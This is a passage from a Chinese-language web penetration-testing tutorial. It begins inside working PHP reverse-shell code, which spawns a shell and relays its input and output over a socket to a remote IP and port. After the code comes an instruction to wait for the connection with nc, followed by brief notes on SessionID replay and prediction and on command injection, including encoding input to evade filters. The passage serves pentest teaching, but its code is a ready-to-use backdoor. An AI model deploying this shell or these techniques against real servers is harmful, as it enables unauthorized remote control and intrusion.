2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
在主機上用nc開啓端口監聽,等待目標服務器反向連接
圖20 反向連接Shell
9.SessionID
利用服務器對用戶身份驗證機制上的漏洞,通過重放或預測SessionID直接登錄目標服務器。
- 在客戶端與服務器通信過程中,如果SessionID長期有效,容易遭受SessionID重放攻擊,導致非法登錄
- 測試SessionID生成算法的隨機性,如果可以預判下次SessionID的值,則可以直接登錄
10.命令執行
實質上屬於注入攻擊,利用服務器對用戶輸入變量過濾不嚴注入惡意代碼,使得目標系統錯誤執行輸入變量中的命令。
- 用Burp的Repeater模塊逐一修改變量、頭信息內容,向目標服務器發送Request,查看Response變化,尋找注入點
- 注意對提交的內容進行編碼,繞開過濾機制
注意:可能受到當前提供服務用戶的權限限制,一些敏感操作需要進一步提權。